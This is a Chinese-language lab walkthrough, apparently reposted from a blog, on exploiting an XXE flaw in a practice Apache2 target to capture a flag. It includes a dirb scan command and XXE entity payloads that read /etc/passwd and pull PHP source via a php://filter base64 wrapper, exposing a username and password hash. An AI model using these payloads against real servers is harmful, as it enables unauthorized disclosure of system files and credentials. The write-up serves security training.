Apache2-XXE漏洞渗透

前言

Apache2 Ubuntu Default Page 是一个包含xxe漏洞的页面,如何找到和利用xxe漏洞,并找到flag呢?


一、nmap扫描

首先进行信息收集,nmap是我们的常用工具
靶机地址10.40.2.116 ,可正常访问
在kali中扫描靶机开放端口等信息
可观察到只有80端口开放,没有利用价值
再用dirb扫描目标隐藏文件
dirb http://10.40.2.116 /usr/share/wordlists/dirb/big.txt -X .php,.txt
发现扫描到了目录下有一个robots.txt文件
登录查看
有信息
发现目录下还有文件

二、利用获取的信息

上面可看到有xxe文件和admin.php
查看一下
是一个登陆界面
/xxe/admin.php也是一个登陆界面
我们利用/xxe登录界面bp抓包看有没有发现

发现数据以post方式提交,并在最下方有xxe代码
发送到repeater提交试试
这里注意到ad有回显
那么如果将ad指向其他文件呢,很有可能此处有xxe漏洞


三、XXE漏洞利用

我们构造xxe语句将ad指向/etc/passwd文件,看是否有回显

<!DOCTYPE test[
<!ENTITY ad SYSTEM "file:///etc/passwd">
]>

可看到显示文件内容,说明存在xxe漏洞
那么继续查看首页文件
apache首页文件默认路径时/var/www/html/

<!DOCTYPE test[
<!ENTITY ad SYSTEM "file:///var/www/html/xxe/index.php">
]>

发现读取不了
可以改用php伪协议读取

<!DOCTYPE test[
<!ENTITY ad SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/index.php">
]>

再通过decoder解密
得到首页文件但是里面内容没有可利用的
但是还有一个文件/xxe/admin.php我们没有查看
同样的方式查看一下

<!DOCTYPE test[
<!ENTITY ad SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/admin.php">
]>

base64解密后得到关键信息
可以看到用户名和MD5加密的密码,以及flag
密码解密后为 admin@123
输入用户名密码
成功登录,但是点击flag,提示flag不在这儿
看看是否在xxe目录下
查看页面源代码获取到flag

扫描二维码关注公众号,回复: 16647655 查看本文章

总结

以上就是对该靶场的一个渗透过程,大致解题思路就是
1.nmap,dirb信息收集
2.bp抓包查询可利用漏洞
3.利用已知漏洞查看关键文件信息
4.简单的代码审计获取flag
希望对大家有帮助。

猜你喜欢

转载自blog.csdn.net/qq_61872115/article/details/125594734